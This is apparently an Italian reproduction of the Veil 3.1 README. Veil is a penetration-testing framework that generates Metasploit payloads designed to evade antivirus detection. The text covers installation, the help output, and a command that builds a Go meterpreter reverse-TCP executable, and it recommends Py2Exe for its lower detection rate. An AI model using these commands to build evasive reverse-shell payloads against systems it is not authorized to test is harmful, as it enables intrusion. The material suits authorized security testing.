
Veil 3.1.X (Controlla le informazioni sulla versione di Veil in fase di esecuzione)
Veil Logo
Veil è uno strumento progettato per generare payload metasploit che bypassano le comuni soluzioni antivirus.
Veil è attualmente supportato da @ChrisTruncer
I seguenti sistemi operativi sono ufficialmente supportati:
I seguenti sistemi operativi sono probabilmente in grado di eseguire Veil:
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
NOTA:
sudo o passa all'utente root prima di iniziare.apt. Avrai anche bisogno di un server X in esecuzione, sia sul sistema stesso, sia sul tuo sistema locale.sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent
Questo file è responsabile dell'installazione di tutte le dipendenze di Veil. Questo include tutto l'ambiente WINE, per la parte Windows. Installerà tutti i pacchetti Linux necessari e GoLang, così come Python, Ruby e AutoIT per Windows. Inoltre, eseguirà anche ./config/update-config.py per il tuo ambiente.
Include due flag opzionali, --force e --silent:
--force ~ If something goes wrong, this will overwrite detecting any previous installs. Useful when there is a setup package update.
--silent ~ This will perform an unattended installation of everything, as it will automate all the steps, so there is no interaction for the user.
Può essere eseguito facendo: ./Veil.py --setup OPPURE ./config/setup.sh --force.
Questo genererà il file di output per /etc/veil/settings.py. La maggior parte delle volte non sarà necessario ricostruirlo, ma in alcuni casi potrebbe esserti richiesto (ad esempio in caso di un importante aggiornamento di Veil).
È importante che tu sia nella directory ./config/ prima di eseguire update-config.py. Se non lo sei, /etc/veil/settings.py sarà errato e quando avvierai Veil vedrai quanto segue:
Main Menu
0 payloads loaded
Niente panico. Esegui: ./Veil.py --config OPPURE cd ./config/; ./update-config.py.
NOTA: L'uso di Py2Exe è raccomandato rispetto a PyInstaller (perché ha un tasso di rilevamento più basso).
INSTALLAZIONE MANUALE su un computer Windows (poiché non viene eseguita dall'installazione di Veil):
Menu principale di Veil:
$ ./Veil.py
===============================================================================
Veil | [Version]: 3.1.6
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
Main Menu
2 tools loaded
Available Tools:
1) Evasion
2) Ordnance
Available Commands:
exit Completely exit Veil
info Information on a specific tool
list List available tools
options Show Veil configuration
update Update Veil
use Use a specific tool
Veil>:
Aiuto
$ ./Veil.py --help
usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config]
[--version] [--ip IP] [--port PORT] [--list-payloads]
[-p [PAYLOAD]] [-o OUTPUT-NAME]
[-c [OPTION=value [OPTION=value ...]]]
[--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ]
[--compiler pyinstaller] [--clean] [--ordnance-payload PAYLOAD]
[--list-encoders] [-e ENCODER] [-b \x00\x0a..] [--print-stats]
Veil is a framework containing multiple tools.
[*] Veil Options:
--list-tools List Veil's tools
-t TOOL, --tool TOOL Specify Veil tool to use (Evasion, Ordnance etc.)
--update Update the Veil framework
--setup Run the Veil framework setup file & regenerate the
configuration
--config Regenerate the Veil framework configuration file
--version Displays version and quits
[*] Callback Settings:
--ip IP, --domain IP IP address to connect back to
--port PORT Port number to connect to
[*] Payload Settings:
--list-payloads Lists all available payloads for that tool
[*] Veil-Evasion Options:
-p [PAYLOAD] Payload to generate
-o OUTPUT-NAME Output file base name for source and compiled binaries
-c [OPTION=value [OPTION=value ...]]
Custom payload module options
--msfoptions [OPTION=value [OPTION=value ...]]
Options for the specified metasploit payload
--msfvenom [] Metasploit shellcode to generate (e.g.
windows/meterpreter/reverse_tcp etc.)
--compiler pyinstaller
Compiler option for payload (currently only needed for
Python)
--clean Clean out payload folders
[*] Veil-Ordnance Shellcode Options:
--ordnance-payload PAYLOAD
Payload type (bind_tcp, rev_tcp, etc.)
[*] Veil-Ordnance Encoder Options:
--list-encoders Lists all available encoders
-e ENCODER, --encoder ENCODER
Name of shellcode encoder to use
-b \x00\x0a.., --bad-chars \x00\x0a..
Bad characters to avoid
--print-stats Print information about the encoded shellcode
$
Veil Evasion CLI
$ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
runtime/internal/sys
runtime/internal/atomic
runtime
errors
internal/race
sync/atomic
math
sync
io
unicode/utf8
internal/syscall/windows/sysdll
unicode/utf16
syscall
strconv
reflect
encoding/binary
command-line-arguments
===============================================================================
Veil-Evasion
===============================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================
[*] Language: go
[*] Payload Module: go/meterpreter/rev_tcp
[*] Executable written to: /var/lib/veil/output/compiled/payload.exe
[*] Source code written to: /var/lib/veil/output/source/payload.go
[*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc
$
$ file /var/lib/veil/output/compiled/payload.exe
/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
$
Veil Ordnance CLI